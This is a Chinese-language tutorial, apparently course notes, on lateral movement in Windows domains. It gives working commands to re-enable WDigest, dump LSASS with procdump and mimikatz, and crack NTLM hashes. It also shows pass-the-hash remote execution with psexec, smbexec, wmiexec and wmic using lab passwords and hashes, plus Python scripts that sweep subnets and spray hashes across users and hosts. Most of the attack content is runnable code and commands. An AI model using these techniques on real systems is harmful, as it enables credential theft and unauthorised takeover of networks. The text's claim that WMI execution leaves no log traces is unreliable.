数据来源
知识点1:
Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码
针对以上情况,我们提供了4种方式解决此类问题
- 利用哈希hash传递(path,ptk等)进行移动
- 利用其他服务协议(SMB,WMI等)进行哈希移动
- 利用注册表操作开启Wdigest Auth值进行获取
- 利用工具或第三方平台(Hachcat)进行破解获取
知识点2
Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,
服务器系统在Windows 2003以后,认证方法均为NTLM Hash
SMB基础知识:
SMB 全称是 Server Message Block 翻译过来是服务器信息块,它也是一种客户端到服务器的通信协议。除此之外,SMB 协议也被称为请求-回复协议。
客户端与服务器建立连接后,客户端可以向服务器发送SMB命令允许用户访问共享、打开、读取或者是写入文件。利用思路:
利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。
注册表修改,开启wdigest
reg add
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDige st /v UseLogonCredential /t REG DWORD /d 1 /f
演示案例:
- Procdump+Mimikatz 配合获取
- Hashcat 破解获取 Windows NTML Hash
- 域横向移动 SMB 服务利用-psexec,smbexec
- 域横向移动 WMI 服务利用-cscript,wmiexec,wmic
- 域横向移动以上服务 hash 批量利用-python 编译 exe
案例 1-Procdump+Mimikatz 配合获取
当Mimikatz被杀毒软件拦截,可通过procdump 配合 mimikatz 因为procdump是windows官方的软件,所以在实战时一般不会对其进行拦截
Procdump是微软官方的程序,Mimikatz是第三方工具都是要自己下载。
Mimikatz官网:GitHub - gentilkiwi/mimikatz:一个玩Windows安全的小工具
Procdump下载:ProcDump - Sysinternals | Microsoft Learn
使用演示:
1)目标机器上执行:
# 在procdump工具的根目标运行生成一个名为lsass.dmp的文件
procdump -accepteula -ma lsass.exe lsass.dmp
2)本机 mimikatz 上执行:(mimikatz 是第三方的工具会被杀毒软件干掉,建议关闭杀毒软件在自己电脑上运行)
privilege::debug # 调试mimikatz工具,出现ok之类的字符就是成功了
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
我这里mimikatz工具就放在自己的真实机上,虚拟机运行太卡
首先要将刚才生成的lsass.dmp文件复制到mimikatz工具的根目录,然后用cmd运行mimikatz.exe文件,不然你的命令无法直接复制粘贴进来,之后逐步运行上面的3条命令就能成功提取密码了
其他工具:
Pwdump7
QuarksPwdump
HASH破解:(kail - 扫描与爆破_正经人_____的博客-CSDN博客)
hashcat -a0 -m 1000 hash file --force
案例 2-域横向移动 SMB 服务利用-psexec,smbexec(官方自带)
PsExec - Sysinternals | Microsoft Learn
利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 端口开放。
环境说明:win2007-域子机 , win2008域主机
我现在演示在域子机攻击域主机
1)psexec 第一种:先有 ipc 链接,psexec 需要明文或 hash 传递
# 与域主机建立ipc连接:ip 密码 用户名
net use \\192.168.1.60\ipc$ "207080sA" /user:administrator
# 需要先有 ipc 链接 -s 以 System 权限运行
psexec \\192.168.1.60 -s cmd
2)psexec 第二种:不用建立 IPC 直接提供明文账户密码
# 目标ip 账号 端口
psexec \\192.168.1.60 -u administrator -p 207080sA -s cmd # 获取目标的cmd执行权限
先断开ipc连接,然后获取目标cmd执行权限
net use * /del # 断开所有连接
成功获取目标cmd执行权限
官方 Pstools 无法 采用 hash 连接
3)非官方自带-参考 impacket 工具包使用,操作简单,容易被杀
用户/账户密码存储位置: C:\Windows\System32\config\SAM(不过这个文件是打不开的,要借助工具)
工具下载:(我这里只是下载单个工具,下载整个工具包太慢了)
impacket工具包: RichChigga/impacket-examples-windows (gitee.com)
psexec: 登录 - Gitee.com
这里先用mimikatz先获取登录的密码与其hash值(这个工具就是上面那个)
privilege::debug # 调试
sekurlsa::logonpasswords # 获取计算机的账号信息
# psexec -hashes :$HASH$ ./administrator@10.1.2.3 # 连接到本地
# psexec -hashes :$HASH$ domain/administrator@10.1.2.3 # 连接到域
psexec -hashes :442285a710fe49913e8b9a2861781eec ./administrator@192.168.1.60
smbexec无需先 ipc 链接 明文或 hash 传递(第三方库,不过这个工具最近的更新时间是2019年作者应该是放弃了,这个作者都不更新很快就会更上时代,我这里就不演示 了,功能上面的工具能代替他)
impacket-examples-windows/smbexec.exe at master · maaaaz/impacket-examples-windows · GitHub
smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21
案例 3-域横向移动 WMI 服务利用-cscript,wmiexec,wmic
WMI(Windows Management Instrumentation) 是通过 135 端口进行利用,支持用户名明文或者 hash 的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
1)自带 WMIC 明文传递 无回显
# 目标ip 账号 密码 ipconfig (要执行的命令) C:\1.txt(命令执行结果存放的文件 )
wmic /node:192.168.1.60 /user:administrator /password:207080sA process call create "cmd.exe /c ipconfig >C:\1.txt"
2)自带 cscript 明文传递 有回显
下载地址:wmiexec.vbs 下(下载的文件名带有版本号可以改一下名)
cscript //nologo wmiexec.vbs /shell 192.168.1.60 administrator 207080sA
套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版本
impacket工具包: RichChigga/impacket-examples-windows (gitee.com)
wmiexec: 登录 - Gitee.com
wmiexec ./administrator:207080sA@192.168.1.60 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
使用哈希值连接
wmiexec -hashes :442285a710fe49913e8b9a2861781eec ./administrator@192.168.1.60 "whoami"
wmiexec -hashes :442285a710fe49913e8b9a2861781eec god/administrator@192.168.1.60 "whoami"
案例 4-域横向移动以上服务 hash 批量利用-python 编译 exe
pyinstaller.exe -F fuck_neiwang_002.py # 将脚本打包成exe可执行程序
这下面的脚本是视频老师提供的,可以自己完善一下
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.60',
'192.168.3.30',
'192.168.3.32'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'webadmin'
}
hashs={
'442285a710fe49913e8b9a2861781eec ',
'518b98ad4178a53695dc997aa02d455c'
}
for ip in ips:
for user in users:
for mimahash in hashs:
#wmiexec -hashes :hashgod/user@ipwhoami
exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
print('--->' + exec + '<---')
os.system(exec)
time.sleep(0.5)
exec1 = "wmiexec -hashes :"+mimahash+" ./"+user+"@"+ip+" whoami"
print('--->' + exec1 + '<---')
os.system(exec1)
time.sleep(0.5)
先演示一下这个脚本的使用,然后我再完善一下脚本
这个exe文件就可以复制到有wmiexec.exe的目录下双击运行(我这里发现个很奇怪的问题,我在python的编译器中运行脚本报错,但是打包之后运行就没问题,这个我暂时找不到原因,我猜测是python编译器的运行环境和windows系统自带的cmd运行环境可能有点差异导致的)
完善代码
发现的问题:1、脚本运行速度太慢,解决:开启多线程 2、ip、用户名、hash都是写死的,解决:看能不能让程序从外部引入数据
1)创建两个.txt文件,如:hash.txt、users.txt
内容格式示例
代码也需要改一下
# coding=gbk
import os,time
ips={
'192.168.1.60',
}
def Domain_Horizontal():
for ip in ips:
for user in open('users.txt'):
user = user.replace('\n', '') # replace() 方法替换字符串,将换行替换为空
for mimahash in open('hash.txt'):
mimahash = mimahash.replace('\n', '') # replace() 方法替换字符串,将换行替换为空
# wmiexec -hashes :hashgod/user@ipwhoami
exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami" # god/ 连接域用户
print('--->' + exec + '<---')
result = os.system(exec)
exec1 = "wmiexec -hashes :" + mimahash + " ./" + user + "@" + ip + " whoami" # 连接本地用户
print('--->' + exec1 + '<---')
result1 = os.system(exec1)
if result == 0 or result1 == 0:
with open(r'result.txt', 'a+') as f: # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
if result == 0:
f.write(exec + '\n') # write() 方法写入数据
else:
f.write(exec1 + '\n') # write() 方法写入数据
if __name__ == '__main__':
Domain_Horizontal()
使用方式(后面就不写这一步了,会一句话带过)
1、先将主程序打包
pyinstaller.exe -F fuck_neiwang_002.py
2、然后要修改 fuck_neiwang_002.spec 文件 (参考)
修改第9行,写入我们刚才生成的txt文件名,让他们也一起打包
'hash.txt','users.txt'
3、将打包后的fuck_neiwang_002.exe文件复制到wmiexec.exe程序的根目录,他们要配合使用
运行测试一下
2)将目标ip改成动态获取,现在是写死的,并给整个程序加上多线程
这个是单线程的不过运行速度太慢,我搞了多线程在编译器中运行没毛病,打包后运行老是报错
# coding=gbk
import os,time,queue,threading
ip_data = [] # 存放存活的ip
def ips(ip):
"""
循环ping获取指定网段存活的主机ip
:param ip: 接收一个ip网段
:param x: ip最后一位数字
:return: Nune
"""
for i in range(1,255):
ip_i = f"{ip}.{i}"
cmd = f'ping {ip_i}'
result = os.system(cmd) # 执行失败返回1,成功0
if result == 0:
ip_data.append(ip_i)
if i >= 254: # 判断ping成功且x>=254
Domain_Horizontal()
elif i >= 254: # 判断ping失败且x>=254也要去建立ipc连接
Domain_Horizontal()
def Domain_Horizontal():
for i in range(len(ip_data)):
for user in open('users.txt'):
user = user.replace('\n', '') # replace() 方法替换字符串,将换行替换为空
for mimahash in open('hash.txt'):
mimahash = mimahash.replace('\n', '') # replace() 方法替换字符串,将换行替换为空
# wmiexec -hashes :hashgod/user@ipwhoami
exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip_data[i]+" whoami" # god/ 连接域用户
print('--->' + exec + '<---')
result = os.system(exec)
exec1 = "wmiexec -hashes :" + mimahash + " ./" + user + "@" + ip_data[i] + " whoami" # 连接本地用户
print('--->' + exec1 + '<---')
result1 = os.system(exec1)
if result == 0 or result1 == 0:
with open(r'result.txt', 'a+') as f: # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
if result == 0:
f.write(exec + '\n') # write() 方法写入数据
else:
f.write(exec1 + '\n') # write() 方法写入数据
if __name__ == '__main__': # 创建队列
ip = input("输入你要扫描的网段,如:192.168.1:")
ips(ip)
放弃在程序中执行ping命令,我们可以在cmd中手动执行循环ping收集网段存活ip
# 目标网段
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="
我改成多线程的脚本,不过打包后运行报错
# coding=gbk
import os,time
import threading # 导入threading模块实现多线程
import queue # 导入队列模块,配合多线程编程,能够在多线程中直接使用,可以使用队列来实现线程间的同步
ip_data = [] # 存放存活的ip
def ips(ip,x):
"""
循环ping获取指定网段存活的主机ip
:param ip: 接收一个ip网段
:param x: ip最后一位数字
:return: Nune
"""
ip_i = f"{ip}.{x}"
cmd = f'ping {ip_i}'
result = os.system(cmd) # 执行失败返回1,成功0
if result == 0:
ip_data.append(ip_i)
if x >= 254: # 判断ping成功且End>=254
time.sleep(2.5) # 阻塞2.5s钟留多点时间给ip获取的函数(大家好,我是练习2年半的小黑子。)
Thread_s() # 开启多线程,尝试建立ipc连接
elif x >= 254: # 判断ping失败且End>=254也要去建立ipc连接
time.sleep(2.5) # 阻塞2.5s钟留多点时间给ip获取的函数(大家好,我是练习2年半的小黑子。)
Thread_s() # 开启多线程,尝试建立ipc连接
def Thread_s():
"""
给Domain_Horizontal函数搞个多线程
"""
length = len(ip_data) # 存活的ip个数
# 1、先搞定参数问题(ip、用户名、密码)让参数可以同步
for i in range(length): # len函数统计元组元素数量, ip_data就是刚才我们通过ping提取出来的目标主机ip
for user in open('users.txt'):
user = user.replace('\n', '') # replace() 方法替换字符串,将换行替换为空
for mimahash in open('hash.txt'):
mimahash = mimahash.replace('\n', '') # replace() 方法替换字符串,将换行替换为空
exec = "wmiexec -hashes :" + mimahash + " god/" + user + "@" + ip_data[i] + " whoami" # god/ 连接域用户
print('--->' + exec + '<---')
q.put(exec) # 向队列中插入元素(exec命令,执行远程命令)
exec1 = "wmiexec -hashes :" + mimahash + " ./" + user + "@" + ip_data[i] + " whoami" # 连接本地用户
q1.put(exec1) # 向队列中插入元素(exec1命令,执行远程命令)
print('--->' + exec1 + '<---')
# print(q.get())
# 2、创建多线程,这个循环的次数越多创建的线程的次数就越多,线程不是越多越好,建议5到10个
for x in range(50): # range() 创建一个数字序列,只写一个参数num就是从0开始创建到num-1的序列如:0-9
t = threading.Thread(target=Domain_Horizontal) # 创建线程对象,target=执行目标任务名
t.start()
def Domain_Horizontal():
"""
尝试执行远程命令 wmiexec -hashes :hashgod/user@ipwhoami
:return: None
"""
# 执行域的
while not q.empty(): # while 循环 not(非,反转) 真为假,假为真
exec = q.get() # 获取队列中的数据(尝试执行远程命令)
result = os.system(exec)
if result == 0 :
with open(r'result.txt', 'a+') as f: # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
if result == 0:
f.write(exec + '\n') # write() 方法写入数据
# 本地的
while not q1.empty(): # while 循环 not(非,反转) 真为假,假为真
exec1 = q1.get() # 获取队列中的数据(建立ipc连接的命令)
result1 = os.system(exec1) # 向队列中插入元素(尝试执行远程命令)
if result1 == 0:
with open(r'result.txt', 'a+') as f: # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
f.write(exec1 + '\n') # write() 方法写入数据
if __name__ == '__main__':
q = queue.Queue() # 创建域账号队列
q1 = queue.Queue() # 创建本地账号队列
ip = input("输入你要扫描的网段,如:192.168.1:")
# 创建多线程
thread = 255
for x in range(1, thread):
t = threading.Thread(target=ips,kwargs={"ip": ip, "x":x}) # 创建线程对象,target=执行目标任务名,args 以元组的形式传参,kwargs 以字典的形式传参
t.start() # 启动线程,让他开始工作
涉及资源:
- https://github.com/hashcat/hashcat
- https://www.freebuf.com/sectool/164507.html
- Releases · gentilkiwi/mimikatz (github.com)
- https://github.com/SecureAuthCorp/impacket
- https://gitee.com/RichChigga/impacket-examples-windows
- https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
- ProcDump - Sysinternals | Microsoft Learn
- https://pan.baidu.com/s/1Vh4ELTFvyBhv3Avzft1fCw 提取码:xiao